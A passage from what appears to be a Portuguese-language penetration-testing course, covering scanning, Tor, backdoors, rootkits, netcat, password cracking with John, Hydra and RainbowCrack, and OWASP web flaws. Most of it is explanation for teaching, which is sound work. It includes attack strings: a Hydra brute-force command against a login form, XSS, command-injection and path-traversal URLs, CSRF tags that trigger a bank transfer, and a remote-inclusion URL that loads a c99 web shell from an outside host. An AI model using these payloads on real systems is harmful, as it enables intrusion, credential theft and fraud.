acontece em 75 segundos e espera somente 0.3 segundos por teste individual.
Opções Interessantes:
-p ⇒ Utilizado para especificar portas
-O ⇒ Mostra a versão do S.O
-P0 ⇒ Desativa ICMP tipo 8 e o TCP ACK na porta 80
8.5 Anonymizer
Normalmente a aplicação utilizada para isso é um proxy, que após configurado, per-
mite que seu IP seja mascarado, fornecendo o dele como IP real.
Uma boa ferramenta para utilizarmos mantendo nossos dados de navegação prote-
gidos, é o TOR – The Onion Router.
O Tor andava meio esquecido, até que a Electronic Frontier Foundation, uma en-
tidade civil que se destaca pelo vigor com que combate nos tribunais os abusos
governamentais contra os direitos individuais, decidiu apoiar politicamente o projeto
e contribuir financeiramente para que ele cresça, fique forte e consiga deixar cada
vez mais gente invisível.
Outro programa, que trabalha junto com o TOR, é o privoxy, que evita o envio de
qualquer dado enviado pelo navegado alcance a intranet, bloqueando-os no cami-
nho. Isso evita que através desses dados, qualquer informação do internauta seja
capturada, e sua localização descoberta.
http://www.torproject.org/
http://www.privoxy.org
Editando o sources
Atualizando o pacote
Instalando os pacotes
Configurando privoxy
Testando
1 # tor
2 # nmap localhost
3 # netstat - ntpl | grep privoxy
4 # netstat - ntpl | grep tor
Addon do Firefox
1 # wget -c https :// www . torproject . org / dist / torbutton / torbutton - current
. xpi
Testando o navegador
https://torcheck.xenobite.eu/
9.1 Enumeração
Quanto mais informações tivermos sobre nosso alvo, mais fácil será para encontrar-
mos vulnerabilidades e melhorarmos nossos vetores de ataque. Sabendo os servi-
ços rodando e as versões dos mesmos, torna-se possível encontrarmos os exploits
corretos e as vulnerabilidades que poderão ser exploradas.
1 # ftp 192.168.200.254
1 # telnet 192.168.200.205 25
2 HELO [ dom í nio ]
3 MAIL FROM : [ endere ç o_origem ]
4 RCPT TO : [ endere ç o_destino ]
5 DATA
6 ( ... msg ... )
7 .
8 quit
Com o comando telnet, podemos tentar conectar em todas as portas existentes para
verificar o que está sendo executado.
Obviamente que esse é um método lento e impossível de ser executado nas mais
de 65000 portas existentes, mas é interessante conhecê-lo, e ainda evita a detecção
por IDS ou firewall.
9.2.2 Ferramentas
nmap Realiza varredura de rede, buscando hosts ativos, portas abertas e serviços
sendo executados.
amap Analiza banners de serviços que estão sendo executados, e informa o nome
e versão.
autoscan Faz varredura na rede e informa hosts ativos, portas abertas e serviços
sendo executados. Funciona através de uma interface gráfica.
maltego Faz varredura de redes, serviços, protocolos, domínios e várias outras op-
ções, informando de forma gráfica a relação entres os hosts ativos.
lanmap Varre toda a rede e captura pacotes, criando ao longo de sua execução
um arquivo .PNG com o mapa da rede, informando graficamente a relação das
máquinas encontradas.
cheops Varre toda a rede em busca de hosts ativos, informando graficamente, atra-
vés de um mapa, os hosts ativos, S.O. sendo executado, portas abertas, ser-
viços sendo executados. Utiliza o nmap por debaixo de sua execução, para
realizar as varreduras.
10.1 Backdoor
Mas, como esse método ficou fácil de ser detectado, pois com uma simples varredura
por portas abertas na máquina entregaria o hacker, novas técnicas mais avançadas
tem surgido, tais como backdoors que não abrem portas, mas sim ficam ouvindo
portas já abertas na máquina, e então quando detectam um tipo específico de dado
previamente estabelecido chegando nessa porta, a backdoor já sabe que é o hacker
que está querendo se conectar ao alvo e então, lança uma conexão para o computa-
dor do hacker. Esse tipo de backdoor é conhecido por Non-listen Backdoor.
Um hacker, quando ataca uma máquina, provavelmente ele irá instalar um con-
junto de ferramentas formadas por trojans e backdoor, para se esconder e garantir o
acesso futuro a maquina que foi invadida. Esse conjunto de ferramenta é conhecido
por Rootkit.
10.3 Rootkits
User-land
Os binários originais são alterados por binários modificados, alterando o fluxo normal
do programa;
Kernel-land
Adiciona código malicioso no kernel através de LKM (Loadable Kernel Module), dri-
vers, inserção de código direto na memória, hook de syscall table;
File Hider: Todos os arquivos que possuir uma pré-determinada palavra em seu
nome serão ocultos da visualização;
Vírus e worms podem ser usados para infectar e modificar um sistema a fim de
permitir que um atacante ganhe acesso ao mesmo. Muitos vírus e worms carregam
trojans e backdoors.
Os vírus, para começar a trabalhar, precisam ser ativados, ou seja, você precisa
executar o programa infectado. Somente após isso, ele começará a infectar outros
arquivos. Se algum arquivo infectado for levado e executado em outro computador,
então o vírus começará a atacar os arquivos dos outros computadores também.
O worm ou verme é um programa que pode infectar tanto uma máquina local quando
uma máquina externa. Normalmente, os worms exploram falhas de segurança em
outros programas para se propagarem, como é o caso do worm BLASTER, que ficou
mundialmente conhecido após infectar milhares de computadores e poucas horas.
Esse worm explorava um problema de programação em um serviço conhecido por
rpc-dcom, que vem ativado por padrão nos sistemas operacionais Windows 2000 e
Windows XP.
10.5.1 Botnets
Um invasor que tenha controle sobre uma Botnet pode utilizá-la para aumentar a
potência de seus ataques, por exemplo, para enviar centenas de milhares de e-mails
de Phishing ou Spam, desferir ataques de negação de serviço, etc.
A comunicação entre o invasor e o computador infectado pelo bot pode ocorrer via
canais de IRC, servidores Web e redes do tipo P2P, entre outros meios. Ao se comu-
nicar, o invasor pode enviar instruções para que ações maliciosas sejam executadas,
como desferir ataques, furtar dados do computador infectado e enviar spam.
Um computador infectado por um bot costuma ser chamado de zumbi (zombie com-
puter), pois pode ser controlado remotamente, sem o conhecimento do seu dono.
Também pode ser chamado de spam zombie quando o bot instalado o e transforma
em um servidor de e-mails e o utiliza para o envio de spam.
3. Quando o controlador deseja que uma ação seja realizada, ele envia aos zum-
bis os comandos a serem executados, usando, por exemplo, redes do tipo P2P
ou servidores centralizados;
10.6 Netcat
Netcat é uma ferramenta usada para ler e escrever dados em conexões de rede
usando o protocolo TCP/IP. Dada sua grande versatilidade, o Netcat é considerado
pelos hackers o canivete suíço do TCP/IP, podendo ser usado para fazer desde ports-
cans até brute force attacks.
• Varredura de portas;
• Banner grabbing;
• Criação de backdoor;
• Tunelamento e etc.
-o filename Usando para obter um log dos dados de entrada ou saída, em formato
hexadecimal;
-t Permite usar o nc para criar sessões de telnet por script. Precisa estar compilado
com a opção -DTELNET;
-z Para evitar o envio de dados através de uma conexão TCP, e limitar os dados de
uma conexão UDP.
Transferência de arquivos:
No servidor:
No cliente:
Netcat foi desenvolvido para trabalhar com um pipeline, então naturalmente a saída
de uma instância do Netcat pode alimentar a entrada de outro. Abaixo segue uma
maneira de enviar um arquivo de log de um host para outro através de um interme-
diário:
10.7 Keylogger
Keylogger são programas utilizados para gravar tudo aquilo que o usuário digita no
teclado. Alguns, mais avançados, armazenam screenshots da tela ou até mesmo a
área ao redor do ponteiro do mouse onde ocorre um click.
Exemplos de Keyloggers:
Ardamax ⇒ Windows
Além dos keyloggers lógicos, temos os keyloggers físicos, que podem ser comprados
em lojas virtuais por poucos dólares.
As técnicas de evasão de firewall e IDS são utilizadas para evitar que qualquer tipo
de aplicação que contenha filtros e controles de acesso, possam detectar as ações
do atacante. Tanto ferramentas específicas quanto parâmetros de ferramentas cujo
objetivo de utilização não é especificamente esse, podem ser usados. Abaixo vamos
ver alguns parâmetros do Nmap, que podem ser utilizados para burlar proteções, e
do Firewall Tester (FTester), que é utilizado para testar regras de firewall pesquisando
como está o nível de bloqueio e detecção de pacotes maliciosos.
Firewall Tester (FTester) é uma ferramenta criada para testar regras de filtragem fi-
rewalls e as capacidades Intrusion Detection System (IDS).
11.2.1 Características:
• firewall testing
• IDS testing
Download - http://dev.inversepath.com/ftester
Documentação - http://dev.inversepath.com/ftester/ftester.html
11.2.2 Utilização:
1 # ./ ftest
2 # ./ ftestd
11.2.3 Sintaxe:
IP_origem:porta_origem:IP_destino:porta_destino:Flags:Protocolo:Tipo_serviço
IP_origem:porta_origem:IP_destino:porta_destino:Flags:ICMP:tipo_icmp:código_icmp
Já com os honeypots de alta interatividade, a coisa muda de figura, pois suas respos-
tas são mais consistentes e o comportamento é bem próximo de um servidor real,
caso esteja bem configurado.
Nmap, Nessus e OpenVas são ótimas ferramentas que podem ser utilizadas na de-
tecção de honeypots.
Uma das mais conhecidas técnicas de invasão de sistemas é, sem dúvida, o brute
force. O método de funcionamento de um ataque desse tipo é muito simples: são
geradas várias tentativas de conexão a partir do nome de um provável usuário da
máquina alvo. A técnica consiste em gerar várias combinações de senhas para esse
usuário, na tentativa de ”adivinhar” a senha dele.
Baseados nisso, veremos algumas ferramentas para realizar esse tipo de teste.
12.2 Wordlist
É possível comprar wordlists, fazer download ou até mesmo gerar listas de palavras
que serão usadas pelas ferramentas de brute force.
Abaixo listaremos algumas das ferramentas que podem ser usadas para a realização
dessa tarefa.
Linux Force – www.linuxforce.com.br Tecnicas de Forca Bruta
Onde:
Temos mais algumas opções a definir com esta ferramenta, mas desta vez vamos
tentar criar combinações mais próximas do ”mundo real” onde muitas vezes, ou por
falta de criatividade ou medo de esquecer a senha as pessoas acabam associando
ao próprio nome uma data, casamento, namoro, nascimento, aniversário do papa-
gaio, etc. Vamos ver como poderíamos ”adivinhar” a senha o Júnior.
Vamos fazer uso de outra ferramenta para gerar wordlists, no caso, a ferramenta
wyd. A diferença dessa ferramenta para o crunch é que essa utiliza uma maneira
mais ”inteligente” de gerar as combinações.
Vamos gerar a wordlist com baseado em um arquivo HTML de um site qualquer que
fizemos download:
O wyd consegue gerar combinações a partir de arquivos em texto puro, html, php,
doc, ppt, pdf, odt, ods e odp.
O John é um dos utilitários mais conhecidos para decifrar senhas no Linux, pois
consegue decifrar algoritmos usados pelo sistema como o MD5 e outras. Toda a
configuração do John é feita em um arquivo texto chamado john.conf em sistemas
Unix ou john.ini no Windows, por exemplo. Neste arquivo você consegue definir
regras para a descoberta de senhas, wordlists, parâmetros para os modos e até
definir um novo modo de descoberta de senhas.
Este arquivo é dividido em várias seções. Todas as seções começam com uma linha
com seu nome entre colchetes ( [ ] ). As opções destas seções são definidas em
variáveis de modo bem simples, como em:
⇒ variável = valor
Options:
Wordlist: A wordlist a ser utilizada pelo JtR. O arquivo pode estar em qualquer lugar,
basta especificar o caminho correto nessa variável;
Idle: Configura o John para usar seu CPU quando este estiver inativo. Diminui o
desempenho da quebra da senha, porém não impacta tanto no desempenho
de outros programas. O padrão desta opção é N (desabilitado);
Save: Intervalo no qual o software irá gravar seu progresso para no caso de uma
interrupção ele possa recomeçar novamente de onde havia parado;
List.Rules:Single
Nesta seção ficam as regras default do software para a quebra das senhas. São
regras como substituição de strings, escrita 1337 e outras.
List.Rules:Wordlist
List.Rules:NT
Nesta seção ficam as regras utilizadas quando se está quebrando senhas cifradas
utilizando o algoritmo NTLM (Windows).
Incremental:*
Aqui ficam as regras para o tipo de quebra de senhas chamado Incremental (todos
os "tipos"de tentativas de quebra de senha que o John utiliza serão explicados mais
adiante neste documento).
List.External:*
12.3.1 Modos
Jhon the Ripper utiliza alguns modos para que consiga otimizar a quebra da senha.
Estes modos são explicados a seguir:
Modo Wordlist - Para utilizar esse método você vai precisar de uma wordlist. Exis-
tem vários lugares na Internet que possuem milhares de wordlists disponíveis gra-
tuitamente, é só dar uma olhada no Google que você irá encontrar várias. Para te
ajudar, aqui no item "Wordlists"você encontra vários links para wordlists disponíveis
na Internet. Lá você também encontra algumas dicas de como organizar a sua lista.
Mas vale lembrar que não é bom que você tenha entradas duplicadas na sua lista,
o Jhon the Ripper não vai fazer absolutamente nada com a sua wordlist antes de
começar a testar as palavras que tem nela.
Este é o modo mais simples suportado pelo John. Para utilizá-lo você só especifica
uma wordlist e algumas regras para ele fazer combinações das palavras que ele en-
contrar na lista que você especificou. Quando utilizando determinados algoritmos, o
Jhon the Ripper se beneficiará se você colocar senhas com tamanhos mais ou me-
nos parecidos perto umas das outras. Por exemplo, seria interessante você colocar
as senhas com 8, 6 ou 9 caracteres perto umas das outras na sua wordlist. A wordlist
padrão a ser utilizada pelo John é definida no arquivo john.conf.
Modo Single Crack - É neste modo que você deveria começar a tentar quebrar uma
senha. Aqui, além de várias regras de handling serem aplicadas, o Jhon the Ripper
vai utilizar mais informações como o nome completo do usuário e seu diretório home
para tentar descobrir qual é a senha. Este modo é muito mais rápido que o modo
"Wordlist".
Modo Incremental - Este é o modo mais poderoso do Jhon the Ripper. Nele serão
tentadas todas as combinações possíveis de caracteres para tentar quebrar a senha
cifrada. Dada a grande quantidade de combinações possíveis, é recomendável que
se defina alguns parâmetros (como tamanho da senha ou conjunto de caracteres a
serem utilizados) para que você não fique esperando pela senha ser quebrada por
muito tempo.
Todos os parâmetros para este modo são definidos no arquivo john.conf, nas seções
começadas com Incremental no nome.
Modo External - Esse modo é bastante complexo. Nele você pode definir regras
próprias para o John seguir ao tentar quebrar uma senha. Tais regras são definidas
em uma linguagem parecida com a C no arquivo de configuração do programa. Ao
ser especificado este modo ao tentar quebrar uma senha na linha de comando, o
JtR vai pré-processar as funções que você escreveu para este modo e utilizá-las. A
documentação de uso desse modo pode ser obtida em:
http://www.openwall.com/john/doc/EXTERNAL.shtml
O John suporta várias opções de linha de comando, geralmente usadas para ativar
determinados modos de uso do software. Preste bastante atenção no case das
opções, o JtR é case-sensitive! Uma característica muito legal dele é que é possível
abreviar as opções da linha de comando desde que não haja ambigüidade (mais ou
menos da maneira como ocorre no shell de roteadores Cisco, por exemplo).
Abaixo vou dar uma explicação básica das opções que o John suporta. Se você se
esquecer de alguma opção quando estiver utilizando o JtR, é só digitar "john"no ter-
minal e todas as opções serão impressas para você. As opções podem ser definidas
utilizando – ou - e seus parâmetros são definidos utilizando = ou :.
–stdout[=LENGTH]: Quando utilizado, faz com que o JtR imprima as possíveis se-
nhas direto na saída padrão ao invés de tentá-las contra um hash. Se você definir
o parâmetro LENGTH só serão impressas senhas com caracteres até a quantidade
especificada em LENGTH.
–restore[=NOME]: Faz com que uma sessão que foi interrompida anteriormente con-
tinue de onde parou. Se você definir um nome diferente para a sessão, especifique
o nome dela na linha de comando junto com esta opção. A sessão fica gravada na
home do John, em um arquivo chamado john.rec.
–session=NOME: Define o nome da sessão que pode ser utilizado com a opção
restore. A esse nome será automaticamente adicionado a extensão .rec.
–show: Mostra as senhas do arquivo que você especificou para o JtR que já foram
quebradas. Esta opção é especialmente útil quando você tem outra instância do JtR
rodando.
–users=[-]Nome do usuário ou UID: Com esta opção você pode especificar para
o JtR quais usuário você quer tentar quebrar a senha. Você pode utilizar o nome
de usuário ou o UID dele e pode separar vários usuários utilizando uma vírgula.
Utilizando o -"antes do nome do usuário, você faz com que o John ignore aquele
usuário ou UID.
–groups=[-]GID: Faz com que o John tente quebrar apenas as senhas dos usuários
participantes de um grupo especificado (ou ignorá-los, se você utilizar o -").
–shells=[-]SHELL: Apenas tenta quebrar as senhas dos usuários cujas shells sejam
iguais à que foi especificada por você na linha de comando. Utilizando o -"você ignora
as shells especificadas.
–salts=[-]NUMERO: Deixa você especificar o tamanho das senhas que serão (ou
não) testadas. Aumenta um pouco a performance para quebrar algumas senhas,
porém o tempo total utilizando esta opção acaba sendo o mesmo.
–save-memory=1, 2 ou 3: Esta opção define alguns níveis para dizer ao John com
qual nível de otimização ele irá utilizar a memória. Os níveis variam de 1 a 3, sendo
1 a mínima otimização. Esta opção faz com que o JtR não afete muito os outros
programas utilizando muita memória.
Para executar o John sobre arquivos de senha de Linux, teremos que passar para ele
as senhas estão utilizando o esquema de shadow no sistema. Para isso, utilizaremos
o executável ”unshadow”, que está presente junto com o John:
1 # ./ john password
Também podemos passar na sintaxe um parâmetro para que o John pegue a lista de
palavras de outro arquivo (por exemplo, as wordlists que geramos anteriormente):
1 # ./ john - restore
É importante ressaltar que o John The Ripper possui módulos adicionais que não são
compilados durante uma compilação padrão. Esses módulos podem ser encontrados
no próprio site da ferramenta, através do endereço: http://www.openwall.com/john/.
Os módulos adicionais se encontram no final da página inicial. Como exemplo, po-
demos citar o módulo para quebrar senhas de Lotus Domino e MySQL.
12.4 THC-Hydra
http://freeworld.thc.org/releases/hydra-5.8-src.tar.gz
O THC-Hydra também pode ser usado para realizar ataques contra formulários web.
1 # hydra -l hydra -P password . lst -s 80 <IP > http - post - form "/
administrador / index . php : usuario =^ USER ^& senha =^ PASS ^& submit = Login :
Incorrect Username "
O parâmetro USER será substituído pelos usuários, no nosso caso, o valor passado
para a opção –l, no nosso caso o valor “hydra”, e o parâmetro PASS será substi-
tuído pelos valores passados na opção –P, no nosso caso, uma wordlist chamada
password.lst.
RainbowCrack é um programa que gera rainbow tables para serem usadas na que-
bra de senhas. O RainbowCrack difere dos programas de força bruta convencionais,
pois utiliza tabelas previamente criadas, chamadas rainbow tables, para reduzir dras-
ticamente o tempo necessário para quebrar senhas.
Um ótimo programa para utilizarmos para quebrar senhas Windows com rainbow
tables é o Ophcrack
http://rainbowtables.shmoo.com/
http://www.ethicalhacker.net/content/view/94/24/
12.6.1 Introdução
O método utilizado pela ferramenta é o brute force. Nesse método, todas as senhas
em texto plano e seus hashs correspondentes são computados um por um. O hash
computado é comparado com o hash alvo. Se um deles for igual, a senha em texto
plano é encontrada. Do contrário, o processo continua até finalizar todas as senhas
possíveis.
Vamos ver passo a passo como utilizar o software RainbowCrack. Esse software
inclui três ferramentas que devem ser usadas em sequência para fazer a coisa funci-
onar:
O programa rtgen precisa de diversos parâmetros para gerar uma rainbow table, e a
sintaxe do comando é:
hash_algorithm O algoritmo dos hashs (lm, ntlm, md5 e assim por diante) usado
na rainbow table.
Esse comando leva 4 horas para ser completado em um computador com um pro-
cessador Core2 Duo E7300. É possível parar a execução do mesmo a qualquer
momento pressionando Ctrl+C. Da próxima vez que o comando for executado com a
mesma linha de comando, ele continuará a partir do ponto em que foi interrompido
para continuar com a geração da tabela.
1
2
3 # rtsort md5 \ _loweralpha - numeric #1 -7\ _0 \ _3800x33554432 \ _0 . rt
4 # rtsort md5 \ _loweralpha - numeric #1 -7\ _1 \ _3800x33554432 \ _0 . rt
5 # rtsort md5 \ _loweralpha - numeric #1 -7\ _2 \ _3800x33554432 \ _0 . rt
6 # rtsort md5 \ _loweralpha - numeric #1 -7\ _3 \ _3800x33554432 \ _0 . rt
7 # rtsort md5 \ _loweralpha - numeric #1 -7\ _4 \ _3800x33554432 \ _0 . rt
8 # rtsort md5 \ _loweralpha - numeric #1 -7\ _5 \ _3800x33554432 \ _0 . rt
Cada comando acima, leva cerca de 1 a 2 minutos para completarem sua execução.
O programa rtsort gravará a rainbow table organizada por sobre o arquivo orginal.
Não interrompa a execução do comando, do contrário o arquivo original será danifi-
cado. Agora o processo de organização das rainbow tables está completo.
O programa rcrack é utilizado para acessar as rainbow tables. Ele aceita apenas
rainbow tables organizadas.
1 # rcrack *. rt -h aqui_vai_o_hash_para_ser_quebrado
O primeiro parâmetro especifica o caminho para buscar nos arquivos das rainbow
tables. Os caracteres "*"e "?"podem ser usados para especificar vários arquivos.
Normalmente isso leva algumas dezenas segundos para finalizar, se a string existir
dentro do "range"do charset e tamanho de strings selecionados. Do contrário, leva-
se muito mais tempo para buscar por todas as tabelas, apenas para não encontrar
nada.
Para quebrar múltiplos hashs, coloque todos os hashs em um arquivo de texto, com
um hash por linha. E então especifique o nome do arquivo na linha de comando do
programa rcrack:
1 # rcrack *. rt -l arquivo_com_lista_de_hashes
Se as rainbow tables que gerou usam o algoritmo lm, o programa rcrack possui um
suporte especial para o parâmetro -f". Um arquivo de dump de hash no formato
pwdump é necessário como input para o programa rcrack. O conteúdo do arquivo
parecerá com o seguinte:
1 # rcrack *. rt -f arquivo_pwdump
OSSTMM Recomenda
• Para sistemas Unix que realizam autenticações SMB, pode encontrar as senhas
de NT em /etc/smbpasswd;
Aplicações web são programas que ficam em um servidor web e executam tarefas
para dar uma resposta ao usuário. Webmails, web fóruns e blogs são exemplos de
aplicações web.
Uma aplicação web usa uma arquitetura cliente/servidor, normalmente com um na-
vegador web como cliente e o web server como o servidor da aplicação.
Exemplos:
• Webmails
• web fóruns
• Blogs
• Lojas virtuais
A maior parte dos ataques atualmente, não são realizados contra a infraestrutura
organizacional, mas sim contra aplicações. E se houver falhas em aplicações WEB,
muito possivelmente o atacante conseguirá acesso a todo conteúdo existente no
servidor onde a aplicação está hospedada.
Na maioria das vezes, várias aplicações WEB ficam hospedadas em um mesmo ser-
vidor, compartilhando da mesma máquina física. Se uma, dessas várias aplicações
hospedadas no servidor, tiver falhas graves, que permitam acesso à máquina, to-
das as outras serão comprometidas e o atacante também poderá explorar as demais
máquinas acessíveis na rede.
A1 – Cross Site Scripting (XSS) Os furos XSS ocorrem sempre que uma aplica-
ção obtém as informações fornecidas pelo usuário e as envia de volta ao nave-
gador sem realizar validação ou codificação daquele conteúdo. O XSS permite
aos atacantes executarem scripts no navegador da vítima, o qual pode roubar
sessões de usuário, pichar sites Web, introduzir worms, etc.
O Cross Site Scripting, mais conhecido como XSS, é de fato um subconjunto de in-
serções HTML. XSS é a questão de segurança em aplicações web mais prevalente e
perniciosa. Os furos XSS ocorrem em aplicações quaisquer que receba dados origi-
nados do usuário e o envie ao navegador sem primeiramente validar ou codificando
aquele conteúdo.
O XSS permite atacantes executarem script no navegador da vítima, que pode seqües-
trar sessões de usuários, desfigurar web sites, inserir conteúdo hostil, conduzir ata-
ques de roubo de informações pessoais (phishing) e obter o controle do navegador do
usuário usando um script mal intencionado (malware). O script malicioso é freqüen-
temente em Java Script, mas qualquer linguagem de script suportada pelo navegador
da vítima é um alvo potencial para este ataque.
13.4.1 VULNERABILIDADE
Existem três tipos bem conhecidos de XSS: refletido, armazenado e inserção DOM.
O XSS refletido é o de exploração mais fácil – uma página refletirá o dado fornecido
pelo usuário como retorno direto a ele:
echo $_REQUEST[’userinput’];
Com ataques XSS baseados em DOM, o código Java Script do site e as variáveis
são manipulados ao invés dos elementos HTML.
Alternativamente, os ataques podem ser uma mistura ou uma combinação dos três
tipos. O perigo com o XSS não está no tipo de ataque, mas na sua possibilidade.
Comportamentos não padrão do navegador pode introduzir vetores de ataque sutis.
O XSS é também potencialmente habilitado a partir de quaisquer componentes que
o browser utilize.
13.4.2 EXPLORANDO
http://dominio.com/default.aspx?parametro=<script>alert(’XSS Vul!’);</script>
Neste exemplo será exibido uma msgbox ao visitante do site, nada de tão terrivel,
mas com isso podemos imaginar que qualquer codigo digitado pode ser executado,
tal como exibir dados da sessão, redirecionar pagina entre outros.
Falhas de Injeção acontecem quando os dados que o usuário dá de entrada são envi-
ados como parte de um comando ou consulta. Os atacantes confundem o interpreta-
dor para o mesmo executar comandos manipulados enviando dados modificados. As
falhas de Injeção habilitam o atacante a criar, ler, atualizar ou apagar arbitrariamente
qualquer dado disponível para a aplicação. No pior cenário, estes furos permitem ao
atacante comprometer completamente a aplicação e os sistemas relacionados, até
pelo contorno de ambientes controlados por firewall.
13.5.1 VULNERABILIDADE
PHP:
$sql = "SELECT * FROM table WHERE id = ’". $_REQUEST[’id’] . "’";
Java:
String query = "SELECT user_id FROM user_data WHERE user_name = ’"+
req.getParameter("userID") + "’ and user_password = ’"+ req.getParameter("pwd")
+"’";
13.5.2 EXPLORANDO
Esse é um tipo de dados que poderíamos passar para aplicativos vulneráveis e burlar
o sistema de autenticação. Faremos isso na prática com o WebGoat.
13.6.1 VULNERABILIDADE
include $_REQUEST[’filename’];
Isto não somente permite a avaliação de scripts hostis remotos, mas pode ser usado
para acessar arquivos locais do servidor (caso o PHP seja hospedado no Windows)
devido ao suporte SMB nos PHP’s file system wrappers. Outros métodos de ataque
incluem:
• Usando PHP wrappers, como por exemplo, php://input e outros para coletar
entrada da requisição de dados POST ao invés de um arquivo.
Uma vez que essa lista é extensa (e muda com periodicidade), é vital que o uso
de uma arquitetura desenhada apropriado para segurança e design robusto quando
manipulamos entradas fornecidas pelo usuário que influenciem a escolha de nomes
de arquivos e acesso no lado do servidor.
O dano causado por essa vulnerabilidade está diretamente associado com os pon-
tos fortes dos controles de isolamento da plataforma no framework. Como o PHP
é raramente isolado e não possui o conceito de caixa de areia "sandbox"ou arqui-
tetura segura, o dano é muito pior do que comparado com outras plataformas com
limitação ou confiança parcial, ou são contidos em uma sandbox confiável como, por
exemplo, quando uma aplicação web é executada sob um JVM com um gerenciador
de segurança apropriado habilitado e configurado (que é raramente o padrão).
13.6.2 EXPLORANDO
Falhas dessa classe ocorrem simplesmente porque o programador não filtrou o con-
teúdo que recebe de um usuário e envia para funções que executam comandos no
sistema, como por exemplo, a função system() ou passthru() do PHP.
Uma vez que um usuário malicioso consegue enviar caracteres de escape (; | > <)
e esses caracteres são enviados para a aplicação vulnerável, o atacante conseguirá
executar os comandos diretamente no servidor.
http://www.hostvuln.com/meuscript.cgi?file=;id;uname%20-a
Um dos mais famosos shell em php é o C99, criada pelo Captain Crunch Security
Team, mas existem diversas r57, php shell, R9 etc...
A c99 é a mais usada pela sua simplicidade sem muitos conhecimentos de comandos
unix.
Podemos conseguir uma shell baixando um arquivo php com o código da mesma e
hospedando-a em um site. Ou simplesmente buscando na web.
http://www.sitevitima.com/menu.php?page=http://corz.org/corz/c99.php
Este tipo de ataque aconteceu no site da Australian Taxation Office’s GST Start Up
Assistance em 2000, onde um usuário legítimo, mas hostil, simplesmente modificou
o ABN (identificador da empresa) presente na URL. O usuário se apossou de cerca
de 17.000 registros de empresas cadastrados no sistema, e então enviou para cada
uma das 17.000 empresas detalhes do ataque. Este tipo de vulnerabilidade é muito
comum, porém não testada largamente em muitas aplicações.
13.7.1 VULNERABILIDADE
Tal código pode ser atacado usando uma string como “../../../../etc/passwd%00” usando
injeção de um byte nulo (vide OWASP Guide para mais detalhes) para acessar qual-
quer arquivo no sistema de arquivo do servidor web.
Geralmente, elas são seqüenciais por natureza. No exemplo a seguir, mesmo que
a aplicação não apresente um link qualquer para um carrinho não autorizado e ne-
nhuma injeção SQL seja possível, um atacante pode ainda modificar o parâmetro
cartID para qualquer outro desejado.
13.7.2 EXPLORANDO
http://www.hostvul.com/index.php?file=../../../../../../etc/passwd
Cross site request forgery não é um novo ataque, mas é simples e devastador. Um
ataque CSRF força o navegador logado da vítima a enviar uma requisição para uma
aplicação web vulnerável, que realiza a ação desejada em nome da vítima.
Este tipo de aplicação estará em risco. Infelizmente, hoje, a maioria das aplicações
web confia exclusivamente em credenciais submetidas automaticamente, como por
Esta vulnerabilidade é também conhecida por outros diversos nomes incluindo Ses-
sion Riding, Ataques One-Click, Cross Site Reference Forgery, Hostile Linking e Au-
tomation Attack. O acrônimo XSRF é freqüentemente usado. Ambos a OWASP e o
MITRE padronizaram o uso do termo Cross Site Request Forgery e CSRF
13.8.1 VULNERABILIDADE
Um ataque típico CSRF contra um fórum pode ter a forma de direcionar o usuário
a invocar alguma função, como por exemplo, a página de logout da aplicação. A
seguinte tag em qualquer página web vista pela vítima gerará uma requisição que
encerra sua seção:
<img src="http://www.example.com/logout.php»
<img src="http://www.example.com/transfer.do?frmAcct=document.form.frmAcct
&toAcct=4345754&toSWIFTid=434343&amt=3434.43»
13.8.2 EXPLORANDO
Jeremiah Grossman em sua palestra na BlackHat 2006 “Hacking Intranet Sites from
the outside”, demonstrou ser possível forçar o usuário a modificar seu roteador DSL
sem seu consentimento; mesmo que o usuário não saiba que o roteador possua uma
interface web. Jeremiah usou um nome de conta padrão do roteador para realizar o
ataque.
Caso a tag contendo o ataque possa ser postada em uma aplicação vulnerável, então
a probabilidade de encontrar vítimas autenticadas é incrementada significativamente,
similar ao incremento do risco entre as falhas XSS armazenadas e refletidas. Falhas
XSS não são necessárias para um ataque CSRF funcionar, apesar de que qualquer
aplicação com falhas XSS esteja susceptível a CSRF, pois um ataque CSRF pode
explorar uma falha XSS para roubar qualquer credencial não fornecida de forma au-
tomática que possa estar em execução para proteger contra um ataque CSRF. Muitos
worms de aplicação têm usado ambas as técnicas de forma combinada.
Quando estiver construindo defesas contra ataques CSRF, deve-se focar também na
eliminação de vulnerabilidades XSS na aplicação, uma vez que tais vulnerabilidades
podem ser usadas para subverter a maioria das defesas contra CSRF aplicadas.
Diversas aplicações podem sem intenção vazar informações sobre suas configura-
ções, funcionamento interno, ou violar privacidade através de diversos problemas.
Aplicações podem vazar o funcionamento interno via tempo de resposta para exe-
cutar determinados processos ou respostas diferentes para entradas diversas, como
exibindo mesma mensagem de erro mas com código de erros diferentes.
13.9.1 VULNERABILIDADE
13.9.2 EXPLORANDO
Para explorar esta falha vamos utilizar algumas ferramentas automatizadas em aula,
segue uma lista de ferramentas para você pesquisar:
Paros Proxy - proxy que permite a captura de parâmetros enviados pelo navegador.
13.10.1 VULNERABILIDADE
Furos no mecanismo principal de autenticação não são incomuns, mas falhas são ge-
ralmente introduzidas a partir de funções menos importantes de autenticação como
logout, gerência de senhas, timeout, recordação de dados de logon, pergunta secreta
e atualização de conta.
13.10.2 EXPLORANDO
Sistemas com falha de gerência de sessão podem ser vitimas de Session Hijacking
através de:
⇒ Falhas de XSS
⇒ Cockies Armazenados
Proteger dados sensíveis com criptografia tem sido parte chave da maioria das apli-
cações Web.
13.11.1 VULNERABILIDADE
• Continuar usando algoritmos que provadamente são fracos (MD5, SHA-1, RC3,
RC4, etc.)
13.11.2 EXPLORANDO
Vamos ver abaixo os tipos de ataques mais utilizados para ter acesso às informações
armazenadas.
• Brute-force
Os padrões PCI requerem que todas as informações de cartões de credito que são
transmitidas pela internet sejam encriptadas.
13.12.1 VULNERABILIDADE
Falha na hora de encriptar informações sensíveis significa que um invasor que possa
escutar o tráfego da rede poderá ter acesso à conversa, incluindo quaisquer cre-
denciais ou informações sensíveis transmitidas. Considerando que redes diferentes
terão mais ou menos suscetibilidade a escuta.
O uso de SSL para comunicação com usuários finais é critico, pois é muito provável
que eles utilizem formas inseguras de acessar os aplicativos. Porque HTTP inclui
credenciais de autenticação ou um token de sessão para cada pedido, toda autenti-
cação do tráfego deve ir para o SSL, não só os pedidos de login.
13.12.2 EXPLORANDO
Aplicações Web com comunicação insegura podem facilmente ser vitimas de sniffers
de rede, em aula veremos o uso do Wireshark.
Comumente, a única proteção para uma URL é não mostrar o link para usuários não
autorizados.
13.13.1 VULNERABILIDADE
